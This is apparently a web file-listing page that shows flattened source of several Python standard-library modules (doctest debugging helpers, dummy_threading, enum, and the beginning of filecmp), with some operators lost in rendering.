paths. These paths may be absolute or relative (to the current working directory). package A Python package or the name of a Python package whose directory should be used as the base directory for module relative paths. If "package" is not specified, then the calling module's directory is used as the base directory for module relative filenames. It is an error to specify "package" if "module_relative" is False. setUp A set-up function. This is called before running the tests in each file. The setUp function will be passed a DocTest object. The setUp function can access the test globals as the globs attribute of the test passed. tearDown A tear-down function. This is called after running the tests in each file. The tearDown function will be passed a DocTest object. The tearDown function can access the test globals as the globs attribute of the test passed. globs A dictionary containing initial global variables for the tests. optionflags A set of doctest option flags expressed as an integer. parser A DocTestParser (or subclass) that should be used to extract tests from the files. encoding An encoding that will be used to convert the files to unicode. """ suite = _DocTestSuite() # We do this here so that _normalize_module is called at the right # level. If it were called in DocFileTest, then this function # would be the caller and we might guess the package incorrectly. if kw.get('module_relative', True): kw['package'] = _normalize_module(kw.get('package')) for path in paths: suite.addTest(DocFileTest(path, kw)) return suite ###################################################################### ## 8. Debugging Support ###################################################################### def script_from_examples(s): r"""Extract script from text with examples. Converts text with examples to a Python script. Example input is converted to regular code. Example output and all other words are converted to comments: >>> text = ''' ... Here are examples of simple math. ... ... Python has super accurate integer addition ... ... >>> 2 + 2 ... 5 ... ... And very friendly error messages: ... ... >>> 1/0 ... To Infinity ... And ... Beyond ... ... You can use logic if you want: ... ... >>> if 0: ... ... blah ... ... blah ... ... ... ... Ho hum ... ''' >>> print(script_from_examples(text)) # Here are examples of simple math. # # Python has super accurate integer addition # 2 + 2 # Expected: ## 5 # # And very friendly error messages: # 1/0 # Expected: ## To Infinity ## And ## Beyond # # You can use logic if you want: # if 0: blah blah # # Ho hum <BLANKLINE> """ output = [] for piece in DocTestParser().parse(s): if isinstance(piece, Example): # Add the example's source code (strip trailing NL) output.append(piece.source[:-1]) # Add the expected output: want = piece.want if want: output.append('# Expected:') output += ['## '+l for l in want.split('\n')[:-1]] else: # Add non-example text. output += [_comment_line(l) for l in piece.split('\n')[:-1]] # Trim junk on both ends. while output and output[-1] == '#': output.pop() while output and output[0] == '#': output.pop(0) # Combine the output, and return it. # Add a courtesy newline to prevent exec from choking (see bug #1172785) return '\n'.join(output) + '\n' def testsource(module, name): """Extract the test sources from a doctest docstring as a script. Provide the module (or dotted name of the module) containing the test to be debugged and the name (within the module) of the object with the doc string with tests to be debugged. """ module = _normalize_module(module) tests = DocTestFinder().find(module) test = [t for t in tests if t.name == name] if not test: raise ValueError(name, "not found in tests") test = test[0] testsrc = script_from_examples(test.docstring) return testsrc def debug_src(src, pm=False, globs=None): """Debug a single doctest docstring, in argument `src`'""" testsrc = script_from_examples(src) debug_script(testsrc, pm, globs) def debug_script(src, pm=False, globs=None): "Debug a test script. `src` is the script, as a string." import pdb if globs: globs = globs.copy() else: globs = {} if pm: try: exec(src, globs, globs) except: print(sys.exc_info()[1]) p = pdb.Pdb(nosigint=True) p.reset() p.interaction(None, sys.exc_info()[2]) else: pdb.Pdb(nosigint=True).run("exec(%r)" % src, globs, globs) def debug(module, name, pm=False): """Debug a single doctest docstring. Provide the module (or dotted name of the module) containing the test to be debugged and the name (within the module) of the object with the docstring with tests to be debugged. """ module = _normalize_module(module) testsrc = testsource(module, name) debug_script(testsrc, pm, module.__dict__) ###################################################################### ## 9. Example Usage ###################################################################### class _TestClass: """ A pointless class, for sanity-checking of docstring testing. Methods: square() get() >>> _TestClass(13).get() + _TestClass(-12).get() 1 >>> hex(_TestClass(13).square().get()) '0xa9' """ def __init__(self, val): """val -> _TestClass object with associated value val. >>> t = _TestClass(123) >>> print(t.get()) 123 """ self.val = val def square(self): """square() -> square TestClass's associated value >>> _TestClass(13).square().get() 169 """ self.val = self.val ** 2 return self def get(self): """get() -> return TestClass's associated value. >>> x = _TestClass(-42) >>> print(x.get()) -42 """ return self.val __test__ = {"_TestClass": _TestClass, "string": r""" Example of a string object, searched as-is. >>> x = 1; y = 2 >>> x + y, x * y (3, 2) """, "bool-int equivalence": r""" In 2.2, boolean expressions displayed 0 or 1. By default, we still accept them. This can be disabled by passing DONT_ACCEPT_TRUE_FOR_1 to the new optionflags argument. >>> 4 == 4 1 >>> 4 == 4 True >>> 4 > 4 0 >>> 4 > 4 False """, "blank lines": r""" Blank lines can be marked with <BLANKLINE>: >>> print('foo\n\nbar\n') foo <BLANKLINE> bar <BLANKLINE> """, "ellipsis": r""" If the ellipsis flag is used, then '...' can be used to elide substrings in the desired output: >>> print(list(range(1000))) #doctest: +ELLIPSIS [0, 1, 2, ..., 999] """, "whitespace normalization": r""" If the whitespace normalization flag is used, then differences in whitespace are ignored. >>> print(list(range(30))) #doctest: +NORMALIZE_WHITESPACE [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29] """, } def _test(): import argparse parser = argparse.ArgumentParser(description="doctest runner") parser.add_argument('-v', '--verbose', action='store_true', default=False, help='print very verbose output for all tests') parser.add_argument('-o', '--option', action='append', choices=OPTIONFLAGS_BY_NAME.keys(), default=[], help=('specify a doctest option flag to apply' ' to the test run; may be specified more' ' than once to apply multiple options')) parser.add_argument('-f', '--fail-fast', action='store_true', help=('stop running tests after first failure (this' ' is a shorthand for -o FAIL_FAST, and is' ' in addition to any other -o options)')) parser.add_argument('file', nargs='+', help='file containing the tests to run') args = parser.parse_args() testfiles = args.file # Verbose used to be handled by the "inspect argv" magic in DocTestRunner, # but since we are using argparse we are passing it manually now. verbose = args.verbose options = 0 for option in args.option: options \|= OPTIONFLAGS_BY_NAME[option] if args.fail_fast: options \|= FAIL_FAST for filename in testfiles: if filename.endswith(".py"): # It is a module -- insert its dir into sys.path and try to # import it. If it is part of a package, that possibly # won't work because of package imports. dirname, filename = os.path.split(filename) sys.path.insert(0, dirname) m = __import__(filename[:-3]) del sys.path[0] failures, _ = testmod(m, verbose=verbose, optionflags=options) else: failures, _ = testfile(filename, module_relative=False, verbose=verbose, optionflags=options) if failures: return 1 return 0 if __name__ == "__main__": sys.exit(_test())	102.11 KB	2024-04-17 17:55
📄 dummy_threading.py """Faux ``threading`` version using ``dummy_thread`` instead of ``thread``. The module ``_dummy_threading`` is added to ``sys.modules`` in order to not have ``threading`` considered imported. Had ``threading`` been directly imported it would have made all subsequent imports succeed regardless of whether ``_thread`` was available which is not desired. """ from sys import modules as sys_modules import _dummy_thread # Declaring now so as to not have to nest ``try``s to get proper clean-up. holding_thread = False holding_threading = False holding__threading_local = False try: # Could have checked if ``_thread`` was not in sys.modules and gone # a different route, but decided to mirror technique used with # ``threading`` below. if '_thread' in sys_modules: held_thread = sys_modules['_thread'] holding_thread = True # Must have some module named ``_thread`` that implements its API # in order to initially import ``threading``. sys_modules['_thread'] = sys_modules['_dummy_thread'] if 'threading' in sys_modules: # If ``threading`` is already imported, might as well prevent # trying to import it more than needed by saving it if it is # already imported before deleting it. held_threading = sys_modules['threading'] holding_threading = True del sys_modules['threading'] if '_threading_local' in sys_modules: # If ``_threading_local`` is already imported, might as well prevent # trying to import it more than needed by saving it if it is # already imported before deleting it. held__threading_local = sys_modules['_threading_local'] holding__threading_local = True del sys_modules['_threading_local'] import threading # Need a copy of the code kept somewhere... sys_modules['_dummy_threading'] = sys_modules['threading'] del sys_modules['threading'] sys_modules['_dummy__threading_local'] = sys_modules['_threading_local'] del sys_modules['_threading_local'] from _dummy_threading import * from _dummy_threading import __all__ finally: # Put back ``threading`` if we overwrote earlier if holding_threading: sys_modules['threading'] = held_threading del held_threading del holding_threading # Put back ``_threading_local`` if we overwrote earlier if holding__threading_local: sys_modules['_threading_local'] = held__threading_local del held__threading_local del holding__threading_local # Put back ``thread`` if we overwrote, else del the entry we made if holding_thread: sys_modules['_thread'] = held_thread del held_thread else: del sys_modules['_thread'] del holding_thread del _dummy_thread del sys_modules	2.75 KB	2024-04-17 17:55
📁 email	-	2025-10-13 08:00
📁 encodings	-	2025-10-13 08:00
📁 ensurepip	-	2025-10-13 08:00
📄 enum.py import sys from types import MappingProxyType, DynamicClassAttribute # try _collections first to reduce startup cost try: from _collections import OrderedDict except ImportError: from collections import OrderedDict __all__ = [ 'EnumMeta', 'Enum', 'IntEnum', 'Flag', 'IntFlag', 'auto', 'unique', ] def _is_descriptor(obj): """Returns True if obj is a descriptor, False otherwise.""" return ( hasattr(obj, '__get__') or hasattr(obj, '__set__') or hasattr(obj, '__delete__')) def _is_dunder(name): """Returns True if a __dunder__ name, False otherwise.""" return (len(name) > 4 and name[:2] == name[-2:] == '__' and name[2] != '_' and name[-3] != '_') def _is_sunder(name): """Returns True if a _sunder_ name, False otherwise.""" return (len(name) > 2 and name[0] == name[-1] == '_' and name[1:2] != '_' and name[-2:-1] != '_') def _make_class_unpicklable(cls): """Make the given class un-picklable.""" def _break_on_call_reduce(self, proto): raise TypeError('%r cannot be pickled' % self) cls.__reduce_ex__ = _break_on_call_reduce cls.__module__ = '<unknown>' _auto_null = object() class auto: """ Instances are replaced with an appropriate value in Enum class suites. """ value = _auto_null class _EnumDict(dict): """Track enum member order and ensure member names are not reused. EnumMeta will use the names found in self._member_names as the enumeration member names. """ def __init__(self): super().__init__() self._member_names = [] self._last_values = [] self._ignore = [] self._auto_called = False def __setitem__(self, key, value): """Changes anything not dundered or not a descriptor. If an enum member name is used twice, an error is raised; duplicate values are not checked for. Single underscore (sunder) names are reserved. """ if _is_sunder(key): if key not in ( '_order_', '_create_pseudo_member_', '_generate_next_value_', '_missing_', '_ignore_', ): raise ValueError('_names_ are reserved for future Enum use') if key == '_generate_next_value_': # check if members already defined as auto() if self._auto_called: raise TypeError("_generate_next_value_ must be defined before members") setattr(self, '_generate_next_value', value) elif key == '_ignore_': if isinstance(value, str): value = value.replace(',',' ').split() else: value = list(value) self._ignore = value already = set(value) & set(self._member_names) if already: raise ValueError('_ignore_ cannot specify already set names: %r' % (already, )) elif _is_dunder(key): if key == '__order__': key = '_order_' elif key in self._member_names: # descriptor overwriting an enum? raise TypeError('Attempted to reuse key: %r' % key) elif key in self._ignore: pass elif not _is_descriptor(value): if key in self: # enum overwriting a descriptor? raise TypeError('%r already defined as: %r' % (key, self[key])) if isinstance(value, auto): self._auto_called = True if value.value == _auto_null: value.value = self._generate_next_value(key, 1, len(self._member_names), self._last_values[:]) value = value.value self._member_names.append(key) self._last_values.append(value) super().__setitem__(key, value) # Dummy value for Enum as EnumMeta explicitly checks for it, but of course # until EnumMeta finishes running the first time the Enum class doesn't exist. # This is also why there are checks in EnumMeta like `if Enum is not None` Enum = None class EnumMeta(type): """Metaclass for Enum""" @classmethod def __prepare__(metacls, cls, bases): # create the namespace dict enum_dict = _EnumDict() # inherit previous flags and _generate_next_value_ function member_type, first_enum = metacls._get_mixins_(bases) if first_enum is not None: enum_dict['_generate_next_value_'] = getattr(first_enum, '_generate_next_value_', None) return enum_dict def __new__(metacls, cls, bases, classdict): # an Enum class is final once enumeration items have been defined; it # cannot be mixed with other types (int, float, etc.) if it has an # inherited __new__ unless a new __new__ is defined (or the resulting # class will fail). # # remove any keys listed in _ignore_ classdict.setdefault('_ignore_', []).append('_ignore_') ignore = classdict['_ignore_'] for key in ignore: classdict.pop(key, None) member_type, first_enum = metacls._get_mixins_(bases) __new__, save_new, use_args = metacls._find_new_(classdict, member_type, first_enum) # save enum items into separate mapping so they don't get baked into # the new class enum_members = {k: classdict[k] for k in classdict._member_names} for name in classdict._member_names: del classdict[name] # adjust the sunders _order_ = classdict.pop('_order_', None) # check for illegal enum names (any others?) invalid_names = set(enum_members) & {'mro', ''} if invalid_names: raise ValueError('Invalid enum member name: {0}'.format( ','.join(invalid_names))) # create a default docstring if one has not been provided if '__doc__' not in classdict: classdict['__doc__'] = 'An enumeration.' # create our new Enum type enum_class = super().__new__(metacls, cls, bases, classdict) enum_class._member_names_ = [] # names in definition order enum_class._member_map_ = OrderedDict() # name->value map enum_class._member_type_ = member_type # save DynamicClassAttribute attributes from super classes so we know # if we can take the shortcut of storing members in the class dict dynamic_attributes = {k for c in enum_class.mro() for k, v in c.__dict__.items() if isinstance(v, DynamicClassAttribute)} # Reverse value->name map for hashable values. enum_class._value2member_map_ = {} # If a custom type is mixed into the Enum, and it does not know how # to pickle itself, pickle.dumps will succeed but pickle.loads will # fail. Rather than have the error show up later and possibly far # from the source, sabotage the pickle protocol for this class so # that pickle.dumps also fails. # # However, if the new class implements its own __reduce_ex__, do not # sabotage -- it's on them to make sure it works correctly. We use # __reduce_ex__ instead of any of the others as it is preferred by # pickle over __reduce__, and it handles all pickle protocols. if '__reduce_ex__' not in classdict: if member_type is not object: methods = ('__getnewargs_ex__', '__getnewargs__', '__reduce_ex__', '__reduce__') if not any(m in member_type.__dict__ for m in methods): _make_class_unpicklable(enum_class) # instantiate them, checking for duplicates as we go # we instantiate first instead of checking for duplicates first in case # a custom __new__ is doing something funky with the values -- such as # auto-numbering ;) for member_name in classdict._member_names: value = enum_members[member_name] if not isinstance(value, tuple): args = (value, ) else: args = value if member_type is tuple: # special case for tuple enums args = (args, ) # wrap it one more time if not use_args: enum_member = __new__(enum_class) if not hasattr(enum_member, '_value_'): enum_member._value_ = value else: enum_member = __new__(enum_class, args) if not hasattr(enum_member, '_value_'): if member_type is object: enum_member._value_ = value else: enum_member._value_ = member_type(args) value = enum_member._value_ enum_member._name_ = member_name enum_member.__objclass__ = enum_class enum_member.__init__(args) # If another member with the same value was already defined, the # new member becomes an alias to the existing one. for name, canonical_member in enum_class._member_map_.items(): if canonical_member._value_ == enum_member._value_: enum_member = canonical_member break else: # Aliases don't appear in member names (only in __members__). enum_class._member_names_.append(member_name) # performance boost for any member that would not shadow # a DynamicClassAttribute if member_name not in dynamic_attributes: setattr(enum_class, member_name, enum_member) # now add to _member_map_ enum_class._member_map_[member_name] = enum_member try: # This may fail if value is not hashable. We can't add the value # to the map, and by-value lookups for this value will be # linear. enum_class._value2member_map_[value] = enum_member except TypeError: pass # double check that repr and friends are not the mixin's or various # things break (such as pickle) for name in ('__repr__', '__str__', '__format__', '__reduce_ex__'): class_method = getattr(enum_class, name) obj_method = getattr(member_type, name, None) enum_method = getattr(first_enum, name, None) if obj_method is not None and obj_method is class_method: setattr(enum_class, name, enum_method) # replace any other __new__ with our own (as long as Enum is not None, # anyway) -- again, this is to support pickle if Enum is not None: # if the user defined their own __new__, save it before it gets # clobbered in case they subclass later if save_new: enum_class.__new_member__ = __new__ enum_class.__new__ = Enum.__new__ # py3 support for definition order (helps keep py2/py3 code in sync) if _order_ is not None: if isinstance(_order_, str): _order_ = _order_.replace(',', ' ').split() if _order_ != enum_class._member_names_: raise TypeError('member order does not match _order_') return enum_class def __bool__(self): """ classes/types should always be True. """ return True def __call__(cls, value, names=None, , module=None, qualname=None, type=None, start=1): """Either returns an existing member, or creates a new enum class. This method is used both when an enum class is given a value to match to an enumeration member (i.e. Color(3)) and for the functional API (i.e. Color = Enum('Color', names='RED GREEN BLUE')). When used for the functional API: `value` will be the name of the new class. `names` should be either a string of white-space/comma delimited names (values will start at `start`), or an iterator/mapping of name, value pairs. `module` should be set to the module this class is being created in; if it is not set, an attempt to find that module will be made, but if it fails the class will not be picklable. `qualname` should be set to the actual location this class can be found at in its module; by default it is set to the global scope. If this is not correct, unpickling will fail in some circumstances. `type`, if set, will be mixed in as the first base class. """ if names is None: # simple value lookup return cls.__new__(cls, value) # otherwise, functional API: we're creating a new Enum type return cls._create_(value, names, module=module, qualname=qualname, type=type, start=start) def __contains__(cls, member): if not isinstance(member, Enum): import warnings warnings.warn( "using non-Enums in containment checks will raise " "TypeError in Python 3.8", DeprecationWarning, 2) return isinstance(member, cls) and member._name_ in cls._member_map_ def __delattr__(cls, attr): # nicer error message when someone tries to delete an attribute # (see issue19025). if attr in cls._member_map_: raise AttributeError( "%s: cannot delete Enum member." % cls.__name__) super().__delattr__(attr) def __dir__(self): return (['__class__', '__doc__', '__members__', '__module__'] + self._member_names_) def __getattr__(cls, name): """Return the enum member matching `name` We use __getattr__ instead of descriptors or inserting into the enum class' __dict__ in order to support `name` and `value` being both properties for enum members (which live in the class' __dict__) and enum members themselves. """ if _is_dunder(name): raise AttributeError(name) try: return cls._member_map_[name] except KeyError: raise AttributeError(name) from None def __getitem__(cls, name): return cls._member_map_[name] def __iter__(cls): return (cls._member_map_[name] for name in cls._member_names_) def __len__(cls): return len(cls._member_names_) @property def __members__(cls): """Returns a mapping of member name->value. This mapping lists all enum members, including aliases. Note that this is a read-only view of the internal mapping. """ return MappingProxyType(cls._member_map_) def __repr__(cls): return "<enum %r>" % cls.__name__ def __reversed__(cls): return (cls._member_map_[name] for name in reversed(cls._member_names_)) def __setattr__(cls, name, value): """Block attempts to reassign Enum members. A simple assignment to the class namespace only changes one of the several possible ways to get an Enum member from the Enum class, resulting in an inconsistent Enumeration. """ member_map = cls.__dict__.get('_member_map_', {}) if name in member_map: raise AttributeError('Cannot reassign members.') super().__setattr__(name, value) def _create_(cls, class_name, names, , module=None, qualname=None, type=None, start=1): """Convenience method to create a new Enum class. `names` can be: A string containing member names, separated either with spaces or commas. Values are incremented by 1 from `start`. * An iterable of member names. Values are incremented by 1 from `start`. * An iterable of (member name, value) pairs. * A mapping of member name -> value pairs. """ metacls = cls.__class__ bases = (cls, ) if type is None else (type, cls) _, first_enum = cls._get_mixins_(bases) classdict = metacls.__prepare__(class_name, bases) # special processing needed for names? if isinstance(names, str): names = names.replace(',', ' ').split() if isinstance(names, (tuple, list)) and names and isinstance(names[0], str): original_names, names = names, [] last_values = [] for count, name in enumerate(original_names): value = first_enum._generate_next_value_(name, start, count, last_values[:]) last_values.append(value) names.append((name, value)) # Here, names is either an iterable of (name, value) or a mapping. for item in names: if isinstance(item, str): member_name, member_value = item, names[item] else: member_name, member_value = item classdict[member_name] = member_value enum_class = metacls.__new__(metacls, class_name, bases, classdict) # TODO: replace the frame hack if a blessed way to know the calling # module is ever developed if module is None: try: module = sys._getframe(2).f_globals['__name__'] except (AttributeError, ValueError, KeyError) as exc: pass if module is None: _make_class_unpicklable(enum_class) else: enum_class.__module__ = module if qualname is not None: enum_class.__qualname__ = qualname return enum_class @staticmethod def _get_mixins_(bases): """Returns the type for creating enum members, and the first inherited enum class. bases: the tuple of bases that was given to __new__ """ if not bases: return object, Enum def _find_data_type(bases): for chain in bases: for base in chain.__mro__: if base is object: continue elif '__new__' in base.__dict__: if issubclass(base, Enum): continue return base # ensure final parent class is an Enum derivative, find any concrete # data type, and check that Enum has no members first_enum = bases[-1] if not issubclass(first_enum, Enum): raise TypeError("new enumerations should be created as " "`EnumName([mixin_type, ...] [data_type,] enum_type)`") member_type = _find_data_type(bases) or object if first_enum._member_names_: raise TypeError("Cannot extend enumerations") return member_type, first_enum @staticmethod def _find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __new_member__ __new__ = classdict.get('__new__', None) # should __new__ be saved as __new_member__ later? save_new = __new__ is not None if __new__ is None: # check all possibles for __new_member__ before falling back to # __new__ for method in ('__new_member__', '__new__'): for possible in (member_type, first_enum): target = getattr(possible, method, None) if target not in { None, None.__new__, object.__new__, Enum.__new__, }: __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, save_new, use_args class Enum(metaclass=EnumMeta): """Generic enumeration. Derive from this class to define new enumerations. """ def __new__(cls, value): # all enum instances are actually created during class construction # without calling this method; this method is called by the metaclass' # __call__ (i.e. Color(3) ), and by pickle if type(value) is cls: # For lookups like Color(Color.RED) return value # by-value search for a matching enum member # see if it's in the reverse mapping (for hashable values) try: return cls._value2member_map_[value] except KeyError: # Not found, no need to do long O(n) search pass except TypeError: # not there, now do long search -- O(n) behavior for member in cls._member_map_.values(): if member._value_ == value: return member # still not found -- try _missing_ hook try: exc = None result = cls._missing_(value) except Exception as e: exc = e result = None if isinstance(result, cls): return result else: ve_exc = ValueError("%r is not a valid %s" % (value, cls.__name__)) if result is None and exc is None: raise ve_exc elif exc is None: exc = TypeError( 'error in %s._missing_: returned %r instead of None or a valid member' % (cls.__name__, result) ) exc.__context__ = ve_exc raise exc def _generate_next_value_(name, start, count, last_values): for last_value in reversed(last_values): try: return last_value + 1 except TypeError: pass else: return start @classmethod def _missing_(cls, value): raise ValueError("%r is not a valid %s" % (value, cls.__name__)) def __repr__(self): return "<%s.%s: %r>" % ( self.__class__.__name__, self._name_, self._value_) def __str__(self): return "%s.%s" % (self.__class__.__name__, self._name_) def __dir__(self): added_behavior = [ m for cls in self.__class__.mro() for m in cls.__dict__ if m[0] != '_' and m not in self._member_map_ ] return (['__class__', '__doc__', '__module__'] + added_behavior) def __format__(self, format_spec): # mixed-in Enums should use the mixed-in type's __format__, otherwise # we can get strange results with the Enum name showing up instead of # the value # pure Enum branch if self._member_type_ is object: cls = str val = str(self) # mix-in branch else: cls = self._member_type_ val = self._value_ return cls.__format__(val, format_spec) def __hash__(self): return hash(self._name_) def __reduce_ex__(self, proto): return self.__class__, (self._value_, ) # DynamicClassAttribute is used to provide access to the `name` and # `value` properties of enum members while keeping some measure of # protection from modification, while still allowing for an enumeration # to have members named `name` and `value`. This works because enumeration # members are not set directly on the enum class -- __getattr__ is # used to look them up. @DynamicClassAttribute def name(self): """The name of the Enum member.""" return self._name_ @DynamicClassAttribute def value(self): """The value of the Enum member.""" return self._value_ @classmethod def _convert(cls, name, module, filter, source=None): """ Create a new Enum subclass that replaces a collection of global constants """ # convert all constants from source (or module) that pass filter() to # a new Enum called name, and export the enum and its members back to # module; # also, replace the __reduce_ex__ method so unpickling works in # previous Python versions module_globals = vars(sys.modules[module]) if source: source = vars(source) else: source = module_globals # We use an OrderedDict of sorted source keys so that the # _value2member_map is populated in the same order every time # for a consistent reverse mapping of number to name when there # are multiple names for the same number rather than varying # between runs due to hash randomization of the module dictionary. members = [ (name, source[name]) for name in source.keys() if filter(name)] try: # sort by value members.sort(key=lambda t: (t[1], t[0])) except TypeError: # unless some values aren't comparable, in which case sort by name members.sort(key=lambda t: t[0]) cls = cls(name, members, module=module) cls.__reduce_ex__ = _reduce_ex_by_name module_globals.update(cls.__members__) module_globals[name] = cls return cls class IntEnum(int, Enum): """Enum where members are also (and must be) ints""" def _reduce_ex_by_name(self, proto): return self.name class Flag(Enum): """Support for flags""" def _generate_next_value_(name, start, count, last_values): """ Generate the next value when not given. name: the name of the member start: the initial start value or None count: the number of existing members last_value: the last value assigned or None """ if not count: return start if start is not None else 1 for last_value in reversed(last_values): try: high_bit = _high_bit(last_value) break except Exception: raise TypeError('Invalid Flag value: %r' % last_value) from None return 2 (high_bit+1) @classmethod def _missing_(cls, value): original_value = value if value < 0: value = ~value possible_member = cls._create_pseudo_member_(value) if original_value < 0: possible_member = ~possible_member return possible_member @classmethod def _create_pseudo_member_(cls, value): """ Create a composite member iff value contains only members. """ pseudo_member = cls._value2member_map_.get(value, None) if pseudo_member is None: # verify all bits are accounted for _, extra_flags = _decompose(cls, value) if extra_flags: raise ValueError("%r is not a valid %s" % (value, cls.__name__)) # construct a singleton enum pseudo-member pseudo_member = object.__new__(cls) pseudo_member._name_ = None pseudo_member._value_ = value # use setdefault in case another thread already created a composite # with this value pseudo_member = cls._value2member_map_.setdefault(value, pseudo_member) return pseudo_member def __contains__(self, other): if not isinstance(other, self.__class__): import warnings warnings.warn( "using non-Flags in containment checks will raise " "TypeError in Python 3.8", DeprecationWarning, 2) return False return other._value_ & self._value_ == other._value_ def __repr__(self): cls = self.__class__ if self._name_ is not None: return '<%s.%s: %r>' % (cls.__name__, self._name_, self._value_) members, uncovered = _decompose(cls, self._value_) return '<%s.%s: %r>' % ( cls.__name__, '\|'.join([str(m._name_ or m._value_) for m in members]), self._value_, ) def __str__(self): cls = self.__class__ if self._name_ is not None: return '%s.%s' % (cls.__name__, self._name_) members, uncovered = _decompose(cls, self._value_) if len(members) == 1 and members[0]._name_ is None: return '%s.%r' % (cls.__name__, members[0]._value_) else: return '%s.%s' % ( cls.__name__, '\|'.join([str(m._name_ or m._value_) for m in members]), ) def __bool__(self): return bool(self._value_) def __or__(self, other): if not isinstance(other, self.__class__): return NotImplemented return self.__class__(self._value_ \| other._value_) def __and__(self, other): if not isinstance(other, self.__class__): return NotImplemented return self.__class__(self._value_ & other._value_) def __xor__(self, other): if not isinstance(other, self.__class__): return NotImplemented return self.__class__(self._value_ ^ other._value_) def __invert__(self): members, uncovered = _decompose(self.__class__, self._value_) inverted = self.__class__(0) for m in self.__class__: if m not in members and not (m._value_ & self._value_): inverted = inverted \| m return self.__class__(inverted) class IntFlag(int, Flag): """Support for integer-based Flags""" @classmethod def _missing_(cls, value): if not isinstance(value, int): raise ValueError("%r is not a valid %s" % (value, cls.__name__)) new_member = cls._create_pseudo_member_(value) return new_member @classmethod def _create_pseudo_member_(cls, value): pseudo_member = cls._value2member_map_.get(value, None) if pseudo_member is None: need_to_create = [value] # get unaccounted for bits _, extra_flags = _decompose(cls, value) # timer = 10 while extra_flags: # timer -= 1 bit = _high_bit(extra_flags) flag_value = 2 bit if (flag_value not in cls._value2member_map_ and flag_value not in need_to_create ): need_to_create.append(flag_value) if extra_flags == -flag_value: extra_flags = 0 else: extra_flags ^= flag_value for value in reversed(need_to_create): # construct singleton pseudo-members pseudo_member = int.__new__(cls, value) pseudo_member._name_ = None pseudo_member._value_ = value # use setdefault in case another thread already created a composite # with this value pseudo_member = cls._value2member_map_.setdefault(value, pseudo_member) return pseudo_member def __or__(self, other): if not isinstance(other, (self.__class__, int)): return NotImplemented result = self.__class__(self._value_ \| self.__class__(other)._value_) return result def __and__(self, other): if not isinstance(other, (self.__class__, int)): return NotImplemented return self.__class__(self._value_ & self.__class__(other)._value_) def __xor__(self, other): if not isinstance(other, (self.__class__, int)): return NotImplemented return self.__class__(self._value_ ^ self.__class__(other)._value_) __ror__ = __or__ __rand__ = __and__ __rxor__ = __xor__ def __invert__(self): result = self.__class__(~self._value_) return result def _high_bit(value): """returns index of highest bit, or -1 if value is zero or negative""" return value.bit_length() - 1 def unique(enumeration): """Class decorator for enumerations ensuring unique member values.""" duplicates = [] for name, member in enumeration.__members__.items(): if name != member.name: duplicates.append((name, member.name)) if duplicates: alias_details = ', '.join( ["%s -> %s" % (alias, name) for (alias, name) in duplicates]) raise ValueError('duplicate values found in %r: %s' % (enumeration, alias_details)) return enumeration def _decompose(flag, value): """Extract all members from the value.""" # _decompose is only called if the value is not named not_covered = value negative = value < 0 # issue29167: wrap accesses to _value2member_map_ in a list to avoid race # conditions between iterating over it and having more pseudo- # members added to it if negative: # only check for named flags flags_to_check = [ (m, v) for v, m in list(flag._value2member_map_.items()) if m.name is not None ] else: # check for named flags and powers-of-two flags flags_to_check = [ (m, v) for v, m in list(flag._value2member_map_.items()) if m.name is not None or _power_of_two(v) ] members = [] for member, member_value in flags_to_check: if member_value and member_value & value == member_value: members.append(member) not_covered &= ~member_value if not members and value in flag._value2member_map_: members.append(flag._value2member_map_[value]) members.sort(key=lambda m: m._value_, reverse=True) if len(members) > 1 and members[0].value == value: # we have the breakdown, don't need the value member itself members.pop(0) return members, not_covered def _power_of_two(value): if value < 1: return False return value == 2 ** _high_bit(value)	34.22 KB	2024-04-17 17:55
📄 filecmp.py """Utilities for comparing files and directories. Classes: dircmp Functions: cmp(f1, f2, shallow=True) -> int cmpfiles(a, b, common) -> ([], [], []) clear_cache() """ import os import stat from itertools import filterfalse __all__ = ['clear_cache', 'cmp', 'dircmp', 'cmpfiles', 'DEFAULT_IGNORES'] _cache = {} BUFSIZE = 8*1024 DEFAULT_IGNORES = [ 'RCS', 'CVS', 'tags', '.git', '.hg', '.bzr', '_darcs', '__pycache__'] def clear_cache(): """Clear the filecmp cache.""" _cache.clear() def cmp(f1, f2, shallow=True): """Compare two files. Arguments: f1 -- First file name f2 -- Second file name shallow -- Just check stat signature (do not read the files). defaults to True. Return value: True if the files are the same, False otherwise. This function uses a cache for past comparisons and the results, with cache entries invalidated if their stat information changes. The cache may be cleared by calling clear_cache(). """ s1 = _sig(os.stat(f1)) s2 = _sig(os.stat(f2)) if s1[0] != stat.S_IFREG or s2[0] != stat.S_IFREG: return False if shallow and s1 == s2: return True if s1[1] != s2[1]: return False outcome = _cache.get((f1, f2, s1, s2)) if outcome is None: outcome = _do_cmp(f1, f2) if len(_cache) > 100: # limit the maximum size of the cache clear_cache() _cache[f1, f2, s1, s2] = outcome return outcome def _sig(st): return (stat.S_IFMT(st.st_mode), st.st_size, st.st_mtime) def _do_cmp(f1, f2): bufsize = BUFSIZE with open(f1, 'rb') as fp1, open(f2, 'rb') as fp2: while True: b1 = fp1.read(bufsize) b2 = fp2.read(bufsize) if b1 != b2: return False if not b1: return True # Directory comparison class. # class dircmp: """A class that manages the comparison of 2 directories. dircmp(a, b, ignore=None, hide=None) A and B are directories. IGNORE is a list of names to ignore, defaults to DEFAULT_IGNORES. HIDE is a list of names to hide, defaults to [os.curdir, os.pardir]. High level usage: x = dircmp(dir1, dir2) x.report() -> prints a report on the differences between dir1 and dir2 or x.report_partial_closure() -> prints report on differences between dir1 and dir2, and reports on common immediate subdirectories. x.report_full_closure() -> like report_partial_closure, but fully recursive. Attributes: left_list, right_list: The files in dir1 and dir2, filtered by hide and ignore. common: a list of names in both dir1 and dir2. left_only, right_only: names only in dir1, dir2. common_dirs: subdirectories in both dir1 and dir2. common_files: files in both dir1 and dir2. common_funny: names in both dir1 and dir2 where the type differs between dir1 and dir2, or the name is not stat-able. same_files: list of identical files. diff_files: list of filenames which differ. funny_files: list of files which could not be 